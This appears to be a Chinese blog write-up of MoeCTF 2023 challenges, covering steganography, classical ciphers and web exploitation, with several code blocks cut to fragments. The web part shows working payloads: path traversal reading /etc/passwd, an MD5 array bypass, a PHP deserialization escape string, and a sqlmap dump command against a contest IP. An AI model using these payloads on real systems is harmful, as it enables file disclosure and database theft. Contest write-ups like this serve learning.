MoeCTF2023WP
MoeCTF2023WP
hihopkcmisc
打不开的图片1
用winhex查看
文件头很像jpg格式,但是少了两个字节D8 FF
,手动补上字节并把文件名后缀改为jpg
打开
后缀名字改为.jpeg
查看信息
打不开的照片2
直接改文件头,改成png的
狗子(1) 普通的猫
winhex查看即可
狗子(2) 照片
这到底是为什么呢
后面看wp,发现说图片太大?
狗子(4)故乡话
将False 改为0,将True改为1会直观很多
把0改.
1改0
明显多了,看大佬wp说是附魔台的语言
moectf{dontanswer}
还有另一种方法
1 | from PIL import Image |
将其转换为图片
然后谷歌识图
building_near_lake
发现原来是xmu坑我呢。。
Redk60手机发布会在2022 12.27
尊嘟假嘟?
1 | cipher: rY5Ah8BtsYYatLEPu8YCPU22Gr5PQt8YGDKkvb4bk3D4JJeEe5kgCpoEqgRzsM7m9d8jEtE3LUoKpULQnMcuAunU1gtpzC5kSUxFctFTNCMZVHLHZNCo5akzKMRY5bbyBP7RNUeGDEYoUc |
获得以上内容
hint1得知cipher被base58加密过
hint2得知是blowfish算法
key和iv都是用SHA256加密的
根据提示得到key和iv的值:
1 | key: 57e55c126f1557b3 |
moectf{wow_you_aRe_the_masteR_of_Zundujiadu_92WPIBung92WPIBung9?WPIBung}
烫烫烫
锟斤拷,是一串经常在搜索引擎页面和其他网站上看到的乱码字符。乱码源于GBK字符集和Unicode字符集之间的转换问题。
除了锟斤拷以外,还有两组比较经典的乱码,分别是”烫烫烫”和”屯屯屯”,这两个乱码产生自VC,这是debug模式下VC对内存的初始化操作。VC会把栈中新分配的内存初始化为0xcc,而把堆中新分配的内存初始化为0xcd。把0xcc和0xcd按照字符打印出来,就是烫和屯了
1 | +j9k-+Zi8-+T2A-+doQ-flag+/xo-+AAo-+AAo-a9736d8ad21107398b73324694cbcd11f66e3befe67016def21dcaa9ab143bc4405be596245361f98db6a0047b4be78ede40864eb988d8a4999cdcb31592fd42c7b73df3b492403c9a379a9ff5e81262+AAo-+AAo-+T0Y-+Zi8-flag+dSg-AES+UqA-+W8Y-+ToY-+/ww-key+Zi8-+Tgs-+l2I-+j9k-+iEw-+W1c-+doQ-sha256+/wg-hash+UDw-+doQ-+XwA-+WTQ-+Zi8-b34edc782d68fda34dc23329+/wk-+AAo-+AAo-+YkA-+TuU-+i/Q-+/ww-codepage+dx8-+doQ-+X4g-+kc0-+iYE-+VUo-+/wg-+AAo- |
UTF-7解密一下获得以下内容:
所以说,codepage真的很重要啊(
sha256的值
moectf{codep@ge_pl@ys_@n_iMport@nt_role_in_intern@tion@liz@tion_g92WPIB}
你想要flag吗
一看是音频隐写,用audacity查看
key:Bulbasaur
pwd:youseeme
以为是base64但是带盐
怀疑aes,但是不是hhhh笑死了,但是试出来是这个
moectf{Mu5ic_1s_v3ry_1nt23esting_!}
奇怪的压缩包
根据压缩包里的内容发现为PPT,修改后缀为ppt
moectf{2ip_?_n0_i4_pp4x!}
base乐队
青青决定组建一只乐队,但是来的只有山田凉,怎么回事呢
1 | HFUEULC5HEZG42DGHFGDWSCTHRCUIUSVHFGDWS2EGZMCCRDKG5XG2LDEHFUTYYZGHJSUMKKDGVZDELBRHBIW4UCQGZLGOP2SHEYV44ZOHEZFYXCZHEYUIV2VGEXVK4KRHBWFWY2OHVMWSYCKG5XFCZTBHEZC6I2WHJST2ZK4HEXTSMDSHA3CKZRZGRNHI4LL |
1 | bYeNQXYZXbXZQfW31FGzzD0m0FHQ9RR85FFQYMB9M=lmo2ku11z0uiz= |
最后出现这个
怀疑是base64,但是两个等于号是在右边的
1 | bW9lY3Rme1RoNF82QG5kXzFuYzF1ZDQ1X0YzbmM0X0BuZF9iQHMzfQ== |
moectf{Th4_6@nd_1nc1ud45_F3nc4_@nd_b@s3}
照片冲洗
这道题属于是我太蠢了,因为题目已经提示是盲水印,那肯定只有两张图片
一开始只有一张图片,无论binwalk,foremost怎么样还是出不来
然后winhex也观察图片没有任何异常
文件头文件尾也对
可能中间藏了一张损坏的图片吧。搜索文件为AE 42 60 82 发现,不得了
foremost分离出来
直接开工具
emmm得出来后好像没看到,后面好像没啥思路,看了wp后发现
要用
moectf{W0w_you_6@v3_1earn3d_blind_w@t3rma2k}
机位查询
青青在网上看到几个大师拍的城市风光很羡慕,也想去拍同款,你可以帮他找到这几张照片是在哪拍的吗
找出三张照片分别是在哪栋楼拍摄的,flag为1.2.3三张照片拍摄点的前两个字的拼音,三个拍摄点之间用_隔开
如:若找到的拍摄点分别为“世界之窗”“未来之瞳”“帝王大厦”,则flag为moectf{shijie_weilai_diwang}
1 | 摩根快捷酒店(南宁火车站店) |
1 | 对面只有一个博物馆和一个高楼,博物馆太矮所以锁定百盛广场 baisheng |
第三张照片
1 | 试了亚朵发现不行,汇金苑 huijin |
moectf{jiashi_baisheng_huijin}
weird_package
这题不会
看了wp后,我才发现这直接用7-zip打开就行,我是zz
打开后类似base64的
八个是假的,只有一个是真的
moectf{WHaT_DiD_You_Do_To_THe_arcHive?_!lP0iYlJf!M3rux9G9Vf!JoxiMl903ll}
web
http
任务1:使用参数 UwU=u
按照指令GET传参 "UwU=u"。
任务2:提交表单 form: Luv=u
POST传参 "Luv=u"
任务3:使用管理员角色
cookie改为admin
任务4:从 127.0.0.1 发出请求
X-Forwarded-For
任务5:使用浏览器 ‘MoeBrowser’
User-Agent
彼岸的flag
F12查看源代码
翻了一遍,也没有什么有用的东西。在源代码内,看到flag。
PS;我们在做web题的时候,没有思路可以看看源代码有无提示。
cookie
下载下来
注册发现用户已存在
但是密码错误
看看是否自己能注册一个然后登入再抓取flag
发现flag提交不对
查看token
改一下role
gas!gas!gas!
0.5s,这怎么反应的过来
1 | import requests |
或者
moe图床
先上传一个文件
得到一个地址,访问看看咯。PS:这里还泄露一个物理路径。
打开之后,发现还是正常的。enmmm。没有其他问题。。。。。那么回到首页。然后在看看源代码?
这里有个upload.php。访问看看
了解你的座驾
抓包看看
有xml内容
一般来说常用的XXE代码是这样的👇
1 |
|
但是经过测试,这一行好像会报错,不过删了也没关系
最终代码👇
1 |
|
大海捞针
在id不同的时候,在源代码的这段注释里的内容也有所不同
看样子应该是在1-1000中有一个页面是有flag的
1 | import requests |
或者直接抓包
提示id1-1000
在163时,发现长度变大了。。直接看,拿到flag
meo图床
一道表面上是文件上传的题,真的很容易被带偏😫
经过测试,正常的图片(图片马)可以直接上传,如果是PHP文件带了GIF89a文件头也可以直接上传
但是蚁剑是连不上的
不过这回upload.php没法读了,但好像没有对后缀有任何限制还给出了文件路径,访问后发现一片白,尝试构造报错发现有一个file_get_contents()函数
正常访问这个文件会提示404,尝试看看能不能利用images.php页面的file_get_contents()来读取根目录的文件,尝试payloadimages.php?name=../../../../../etc/passwd
,访问后并没有提示404而是有一个图片格式的样式,下载下来用记事本打开就可以看见文件内容,尝试读取/flag
,获得内容
1 | hello~ |
读取Fl3g_n0t_Here_dont_peek!!!!!.php
内容:
1 |
|
经典md5弱比较,数组绕过秒了
1 | GET /Fl3g_n0t_Here_dont_peek!!!!!.php?param1[]=1¶m2[]=2 |
获得flag
1 | moectf{oops_file_get_contents_controllable_9Uet0r2mCKPH4ahVvxhT-2UZ3NizJLZp} |
夺命十三枪
php反序列化的题目。头部文件包含。看看这个文件
存在一个静态引用函数Make_a_Move及str_replace。
str_replace存在反序列化的字符串逃逸
然后我们在重新理一下。目的是在夺命十三枪后面修改为”;s:11:”Spear_Owner”;s:6:”MaoLei”;},该字符串长度为35,根据代码可以知道”di_qi_qiang” => “Penetrating_Gaze”,刚好是从11->16,每次转换可以逃逸5个字符串,只需要重复7次”di_qi_qiang”即可完成逃逸,所以最终payload:
?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang”;s:11:”Spear_Owner”;s:6:”MaoLei”;}
考点字符串逃逸,我们需逃逸出";s:11:"Spear_Owner";s:6:"MaoLei";}
共计35个字符,我们可以选择"di_qi_qiang" => "Penetrating_Gaze"
一次逃逸5个字符,复制7遍即可,完整payload:
1 | GET /?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";} |
1 | moectf{C00L_b0Y!_iVoOcy_qFVOUbxNVEHH9SedFiEPCPGfM} |
signin
提示,无需扫描爆破。估计有点绕。。。存在一个附件,打开看看。一个py
最终审计下来,可以利用字符和数字进行绕过,例如username=”1” password=1
paylaod = {“username”:”1”,”password”:1} 在base64编码5次即可
出去旅游的心海
这里有一个sql注入wordpress/wp-content/plugins/visitor-logging/logger.php
注意一下时间,随便写一个123就行。然后sqlmap一把梭即可。
1 | sqlmap -u http://101.42.178.83:7770/wordpress/wp-content/plugins/visitor-logging/logger.php --data time=111 -D wordpress -T secret_of_kokomi -C "content,id" --dump |
moeworld
解压出来
本题你将扮演红队的身份,以该外网ip入手,并进行内网渗透,最终获取到完整的flag
题目环境:http://47.115.201.35:8000/
在本次公共环境中渗透测试中,希望你不要做与获取flag无关的行为,不要删除或篡改flag,不要破坏题目环境,不要泄露题目环境!
注册时请不要使用你常用的密码,本环境密码在后台以明文形式存储
hint.zip 密码请在拿到外网靶机后访问根目录下的readme,完成条件后获取
环境出现问题,请第一时间联系出题人xlccccc
对题目有疑问,也可随时询问出题人
是一个登录,提示,不用爆破。注册一个账号并登录看看。
第一个提示,secret_key 那应该就是session伪造了。
看看cookie
PWN
test_nc
moectf{nzZhAmia4-v_Np8w_Qlso7Y6pCgo6AKJ}
baby_calculator
AI
AI入门指北
moectf{install_torch_torchvision_torchaudio}
Basic
ccccc
1 |
|
moectf{HAHA_C_1s_easy!}
Python
1 | enc1=[158, 156, 150, 144, 135, 149, 136, 163, 138, 135, 155, 195, 157, 172, 194, 137, 172, 195, 134, 129, 172, 148, 195, 195, 151, 172, 149, 129, 154, 150, 157, 151, 137, 142] |
moectf{Pyth0n_1z_0ur_g00d_friendz}
runme
moectf{0h_y0u_can_use_cmd!!!}
runme2
moectf{Run_me_in_linux!}
古典密码
ezrot
>@64E7LC@Ecf0:D0;FDE020D:>!=60=6EE6C0DF3DE:EFE:@?04:!96C0tsAJdEA6d;F}%0N
看题目是Rot位移
Rot47
moectf{rot47_is_just_a_simPle_letter_substitution_ciPher_EDpy5tpe5juNT_}
可可的新围墙
mt3_hsTal3yGnM_p3jocfFn3cp3_hFs3c_3TrB__i3_uBro_lcsOp}e{ciri_hT_avn3Fa_j
根据题目名称可知是栅栏密码
1 | moectf{f3nc3_ciph3r_shifts_3ach_l3tt3r_by_a_giv3n_numb3r_of_plac3s_ojpj} |
不过有个问题,为什么我赛博厨子爆不出呢
皇帝的新密码
tvljam{JhLzhL_JPwoLy_Pz_h_cLyF_zPtwPL_JPwoLy!_ZmUVUA40q5KbEQZAK5Ehag4Av}
维吉尼亚密码 key=h:
moectf{CaEsaE_CIphEr_Is_a_vErY_sImpIE_CIphEr!_SfNONT40j5DuXJSTD5Xatz4To}
不是皇帝的新密码
scsfct{wOuSQNfF_IWdkNf_Jy_o_zLchmK_voumSs_zvoQ_loFyof_FRdiKf_4i4x4NLgDn}
md5 of flag (utf-8)
ea23f80270bdd96b5fcd213cae68eea5
根据 scsfct 对应 moectf ,维吉尼亚密码刚好可以对应出key=goodjob
moectf{vIgENErE_CIphEr_Is_a_lIttlE_hardEr_thaN_caEsar_CIphEr_4u4u4EXfXz}
喵言喵语
根据hint可知是摩斯密码,以空格位分隔,替换成’/‘更直观
1 | 由于第一个分隔前只有' 喵喵?' 将其暂定为' . ' 全部替换 |